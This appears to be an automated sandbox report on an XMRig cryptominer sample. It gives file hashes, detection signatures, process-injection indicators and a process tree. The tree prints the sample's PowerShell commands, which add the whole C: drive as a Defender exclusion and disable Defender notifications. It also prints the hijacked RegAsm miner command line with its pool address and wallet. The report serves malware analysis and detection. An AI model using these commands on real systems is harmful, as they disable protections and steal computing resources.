xmrig | ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372

Analysis

max time kernel
150s
max time network
147s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
24-12-2024 11:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
Size

5.5MB
MD5

ac1db2e5e852112f8a4e8405842a0bb8
SHA1

de44037d60b513ef07d58165304844ca845492eb
SHA256

ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372
SHA512

1d0638c28a2383597a3c728b79e3967a9ca4e949ef1709cc1854fb96d3e2c7904e888ad78d8472d8cec2101caf8cd0100a55c2d5575c1e1a04b10836651317fb
SSDEEP

98304:k2im1GVdUS4liwtcr07coc20OBR7diTUcOZWL7QcDoPjhPc8RjAyIKOQoa1:kSwz4liwtZcoc6ldSkK2AyHOQn

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral1/memory/2672-28-0x0000000140000000-0x0000000140711000-memory.dmp	xmrig
behavioral1/memory/2672-31-0x0000000140000000-0x0000000140711000-memory.dmp	xmrig
behavioral1/memory/2672-33-0x0000000140000000-0x0000000140711000-memory.dmp	xmrig
behavioral1/memory/2672-34-0x0000000140000000-0x0000000140711000-memory.dmp	xmrig
behavioral1/memory/2672-32-0x0000000140000000-0x0000000140711000-memory.dmp	xmrig
behavioral1/memory/2672-30-0x0000000140000000-0x0000000140711000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2568	powershell.exe
2004	powershell.exe
2580	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2140 set thread context of 2672	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	37

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2672-28-0x0000000140000000-0x0000000140711000-memory.dmp	upx
behavioral1/memory/2672-27-0x0000000140000000-0x0000000140711000-memory.dmp	upx
behavioral1/memory/2672-26-0x0000000140000000-0x0000000140711000-memory.dmp	upx
behavioral1/memory/2672-23-0x0000000140000000-0x0000000140711000-memory.dmp	upx
behavioral1/memory/2672-21-0x0000000140000000-0x0000000140711000-memory.dmp	upx
behavioral1/memory/2672-31-0x0000000140000000-0x0000000140711000-memory.dmp	upx
behavioral1/memory/2672-33-0x0000000140000000-0x0000000140711000-memory.dmp	upx
behavioral1/memory/2672-34-0x0000000140000000-0x0000000140711000-memory.dmp	upx
behavioral1/memory/2672-32-0x0000000140000000-0x0000000140711000-memory.dmp	upx
behavioral1/memory/2672-30-0x0000000140000000-0x0000000140711000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2580	powershell.exe
2568	powershell.exe
2004	powershell.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
Token: SeDebugPrivilege	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
Token: SeLockMemoryPrivilege	2672	RegAsm.exe
Token: SeLockMemoryPrivilege	2672	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2140 wrote to memory of 2568	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	30
PID 2140 wrote to memory of 2568	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	30
PID 2140 wrote to memory of 2568	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	30
PID 2140 wrote to memory of 2580	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	32
PID 2140 wrote to memory of 2580	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	32
PID 2140 wrote to memory of 2580	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	32
PID 2140 wrote to memory of 2004	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	33
PID 2140 wrote to memory of 2004	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	33
PID 2140 wrote to memory of 2004	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	33
PID 2140 wrote to memory of 2672	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	37
PID 2140 wrote to memory of 2672	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	37
PID 2140 wrote to memory of 2672	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	37
PID 2140 wrote to memory of 2672	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	37
PID 2140 wrote to memory of 2672	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	37
PID 2140 wrote to memory of 2672	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	37
PID 2140 wrote to memory of 2672	2140	JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe	37

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_ae90d6fabc9bea021dcb788a0c5320b0aea8784d8ea0d1dafa90827545ccb372.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Set-MpPreference -PUAProtection 1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Add-MpPreference -ExclusionPath C:\
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications' -Name DisableNotifications -Value 1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe --donate-level 0 --max-cpu-usage 60 -o pool.supportxmr.com:3333 -u 49ZMf9zqpebBFbM1oeZChGHGhcuvZReqAiy1n9fq4FcbJeYv3FbGYwfUqsTM7p3CYCN7grTf3PYeYJh5y6YGpK879aJ5Xw8.INTELRIG6
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
37389ab849d58e74e0c507cf20a2d0dc

SHA1
fe26ef98e759ae2d54bdce7be46f47015835048c

SHA256
2b3cc6c9f255794136b008e08461fde2feabcc36a62aa37becde68f312dc3ccf

SHA512
84d6d22ab06aa2046ac4fa1e95c4df2de64df5e83803e0feb28506b7e3c3cd99e67e81f11f3c801c13681de51b31e4443ee1a8c0c59a76226a44dcd26254a62f

Download Submit
memory/2140-18-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2140-36-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2140-35-0x000007FEF53A3000-0x000007FEF53A4000-memory.dmp

Filesize
4KB

Download
memory/2140-0-0x000007FEF53A3000-0x000007FEF53A4000-memory.dmp

Filesize
4KB

Download
memory/2140-1-0x00000000012A0000-0x0000000001820000-memory.dmp

Filesize
5.5MB

Download
memory/2580-16-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2580-17-0x0000000002710000-0x0000000002718000-memory.dmp

Filesize
32KB

Download
memory/2672-23-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download
memory/2672-19-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download
memory/2672-21-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download
memory/2672-29-0x0000000000570000-0x0000000000584000-memory.dmp

Filesize
80KB

Download
memory/2672-25-0x000007FFFFFDD000-0x000007FFFFFDE000-memory.dmp

Filesize
4KB

Download
memory/2672-26-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download
memory/2672-31-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download
memory/2672-33-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download
memory/2672-34-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download
memory/2672-32-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download
memory/2672-30-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download
memory/2672-27-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download
memory/2672-28-0x0000000140000000-0x0000000140711000-memory.dmp

Filesize
7.1MB

Download